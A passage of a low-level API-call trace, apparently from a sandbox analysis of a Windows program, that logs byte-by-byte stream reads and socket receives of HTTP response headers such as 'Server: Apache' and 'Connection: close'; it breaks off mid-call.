ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x38, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x39, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x34, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x37, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x47, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4d, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x53, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x37, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x76, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x41, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x70, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x40, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x61, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x41, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x63, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x42, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x68, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x43, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x44, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x45, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x46, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.851] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x43, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.851] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x47, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x48, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x49, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x63, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x74, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x69, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x50, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x51, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x52, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x63, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x53, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6c, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x54, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x6f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x55, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x73, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x56, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x3) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x57, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x2) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x58, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x1) returned 0x0 [0085.852] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x59, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.852] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x0, pcbRead=0x12fe8c*=0x0) returned 0x0 [0085.852] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.852] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.852] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.853] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x43, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.853] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.853] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.853] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.853] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.853] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.853] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.853] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.853] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.853] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.853] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.853] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.853] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.853] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.853] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.853] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.854] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.854] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.854] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.854] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.854] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.854] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.854] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.854] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.854] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.854] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.854] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.854] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.854] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.854] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.854] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.854] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.854] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.855] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.855] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.855] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.855] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x79, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.855] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.855] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.855] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.855] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.855] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.855] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.855] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.855] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.855] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.855] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.855] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.855] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.855] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.856] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.856] recv (in: s=0x258, buf=0x12fe83, 